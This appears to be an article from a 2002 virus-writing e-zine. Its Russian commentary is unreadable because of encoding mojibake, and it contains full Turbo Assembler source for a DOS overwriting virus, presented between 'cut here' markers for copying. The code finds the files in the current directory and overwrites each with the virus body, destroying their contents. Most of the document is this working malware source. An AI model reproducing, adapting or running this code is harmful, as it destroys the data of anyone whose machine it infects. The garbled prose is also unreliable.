浜様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 紺旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭 紺栩栩桍異栩栩欅旭旭桍旭旭異栩栩栩桍旭異栩栩毟栩栩栩栩桍旭旭異欅旭旭栩栩栩栩朧 紺異栩欅旭栩桍旭旭異栩欅旭旭栩欅異栩桍旭栩桍異桍異桍異桍旭旭栩桍旭旭桍異桍異朧 紺異桍旭旭栩欅旭旭異栩欅旭旭栩欅旭異桍旭異桍異欅異桍旭桍旭旭栩桍旭旭欅異桍旭朧 紺異桍旭旭栩欅旭旭栩栩桍旭旭栩欅旭異桍旭異桍旭旭異桍旭旭旭異栩栩欅旭旭異桍旭旭 紺異栩栩栩栩欅旭異桍異桍旭旭栩栩栩栩桍旭異桍旭旭異桍旭旭旭栩欅栩欅旭旭異桍旭旭 紺異桍旭旭栩欅旭異栩栩栩欅旭栩欅旭異栩欅異桍旭旭異桍旭旭旭栩栩栩桍旭旭異桍旭旭 紺異桍旭旭栩欅旭栩欅旭栩桍旭栩欅旭旭栩欅異桍旭旭異桍旭旭異桍旭異栩欅旭異桍旭旭 紺異桍旭旭栩欅異桍旭旭異桍旭栩欅旭異栩欅異桍旭旭異桍旭旭栩欅旭旭栩欅旭異桍旭旭 紺栩栩桍異栩桍栩栩欅旭栩栩毟栩栩栩栩欅異栩栩欅旭栩栩欅異栩桍旭異栩桍旭栩栩桍旭 紺旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭 紺旭旭旭旭旭旭旭旭旭旭旭旭旭 issue#2 apr.2002 旭旭旭旭旭旭旭旭旭旭旭旭旭旭虻 紺旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭 藩様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 --< ｡譽皚 爬キ皋牀 牀牀┘ キ錺 爬キ罔! >-- 敖陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳朕 牀ゃ : COCKSUCKER щ 痳き┴: Turbo Assembler 5.0 : 05.12.2001 ≒ : Alchemist 青陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳潰 踳か 茱 ↓━ ラ え overwriter. 甅↓ ィ 皓腮 鈑モ瘴 皰, 艪 爬キキ┘ . , 甄謌瘡 轤, ▲牀閧, ム覃 ′オ皚 爬キ皋牀覃 ※珮 瘁ガ゛ム. 竍荐 矗え罔閻 , メ碎 Ε 甄イ┘ ′オ皰 ;) 痺皋, 轤 覃 爬皋↓覃 ▲燿皀, 茱矚 〓 ≡ 艪 ゑ矚. 痳き┴: メ キ ィ 瘁ガ゛牀碎 竅皋皀 皰覃 com 璢│. =======< cut here >======= ;----------------------------------------; ; ; ; == THE COCKSUCKER VIRUS == ; ; ; ;----------------------------------------; IDEAL JUMPS LOCALS @@ MODEL TINY,PASCAL ;-------------------------------------------------------------------; ;-------- М覃 ′オ TBase -------------------------------------; ;-------------------------------------------------------------------; STRUC TBase METHOD { Terminate = TBase_Terminate ; 踳琺┘ 牀 4Ch ; OpenF = TBase_OpenF ; 皖琺碎 ; WriteF = TBase_WriteF ; 碎 ; CloseF = TBase_CloseF ; 琺碎 ; } ENDS TBase ;-------------------------------------------------------------------; ;-------- ｡譽 TInfector 甄イ礇 ≡ モる TBase --------------; ;-------------------------------------------------------------------; STRUC TInfector TBase METHOD { InfectF = TInfector_InfectF ; Ж碎 ; } ENDS TInfector ;-------------------------------------------------------------------; ;-------- ｡譽 TSearchEngine - 牀罐ゃ琺 か 瓷 Ε珥 curdir; ;-------------------------------------------------------------------; STRUC TSearchEngine METHOD { SetDTA = TSearchEngine_SetDTA ; 痰※碎 ＜筌 DTA FindFirst = TSearchEngine_FindFirst ; 瓷 ム〓 √Δキ FindNext = TSearchEngine_FindNext ; 瓷 甄イ竡薑 √Δキ┤ } ENDS TSearchEngine CODESEG ORG 100h ;-------------------------; 甅↓ 牀 ;-------------------------- start_virus: mov si,offset SearchEngine ; 珮ガ むメ ′オ si call si METHOD TSearchEngine:SetDTA ; 襷襤ガ モ SetDTA ; .. 竅←│ガ ＜筌 DTA mov si,offset SearchEngine ; 珮ガ SearchEngine si call si METHOD TSearchEngine:FindFirst; 襷襤ガ FindFirst モ jc Quit ; メ モ 諷え DIR: ; ---------------------------- mov si,offset SearchEngine ; 珮ガ si SearchEngine call si METHOD TSearchEngine:FindNext ; 襷襤ガ モ FindNext jc Quit ; ゑ 瓷碎 む磽┘ ; メ モ 諷え ; ---------------------------- mov si,offset Infector ; ぅ瘡 牀痳え Ε┘ call si METHOD TInfector:InfectF ; 襷襤ガ モ Infect - jmp dir ; . 碎 ; 皀 ※珮. quit: ; ---------------------------- mov si,offset Infector ; ▲琥ガ 牀 粃罔ォ call si METHOD TInfector:Terminate, 00h; 4Ch ;---------------------------; モる ′オ皰 ;--------------------------- ;--------------------------------------------------------; ; TBase_Terminate - 踳琺┘ 牀 ぎ 諷. ; ;--------------------------------------------------------; PROC TBase_Terminate ARG @@haltcode:byte mov al,[@@haltcode] ; ラガ haltcode al mov ah,4Ch ; ム 粃罔 int 21h ; ▲琥ガ 牀 ret ENDP TBase_Terminate ;--------------------------------------------------------; ; TBase_OpenF - 皖琺碎 . ; ;--------------------------------------------------------; PROC TBase_OpenF mov al,2 mov ah,3Dh xor cx,cx int 21h xchg ax,bx ; メ爬皰 bx ret ENDP TBase_OpenF ;--------------------------------------------------------; ; TBase_WriteF - 碎 . ; ;--------------------------------------------------------; PROC TBase_WriteF ARG @@count:word mov ah,40h mov cx,[@@count] ; 腑痰〓 か 瓱 int 21h ret ENDP TBase_WriteF ;--------------------------------------------------------; ; TBase_CloseF - 琺碎 . ; ;--------------------------------------------------------; PROC TBase_CloseF mov ah,3Eh int 21h ret ENDP TBase_CloseF ;--------------------------------------------------------; ; TInfector_InfectF - Ж碎 . ; ;--------------------------------------------------------; PROC TInfector_InfectF ; 茱 ━キガ 礫覓 DTA 甃ラキ 30 lea dx,[DTA+1Eh] mov si,offset Infector call si METHOD TInfector:OpenF ; 皖琺ガ lea dx,[start_virus] ; 茱 mov si,offset Infector call si METHOD TInfector:WriteF,(end_virus-start_virus) mov si,offset Infector ; 琺ガ call si METHOD TInfector:CloseF ret ENDP TInfector_InfectF ;--------------------------------------------------------; ; TSearchEngine_SetDTA - 痰※碎 DTA. ; ;--------------------------------------------------------; PROC TSearchEngine_SetDTA mov ah,1Ah lea dx,[DTA] int 21h ret ENDP TSearchEngine_SetDTA ;--------------------------------------------------------; ; TSearchEngine_FindFirst - 皋 ム覃. ; ;--------------------------------------------------------; PROC TSearchEngine_FindFirst lea dx,[FPath] mov ah,4Eh mov cx,110101b ; 矗─竄 - ≡ 牀 read-only int 21h ret ENDP TSearchEngine_FindFirst ;--------------------------------------------------------; ; TSearchEngine_FindNext - 皋 跏. ; ;--------------------------------------------------------; PROC TSearchEngine_FindNext lea dx,[DTA] mov ah,4Fh int 21h ret ENDP TSearchEngine_FindNext ;--------------------------------------------------------; ; 襯 蹍 ; ;--------------------------------------------------------; SearchEngine TSearchEngine <> ; ｡譽 SearchEngine Infector TInfector <> ; ｡譽 Infector FPATH db '*.*',0 ; ....................... end_virus: dta db 50 dup(?) END start_virus =======< cut here >======= --< ... >--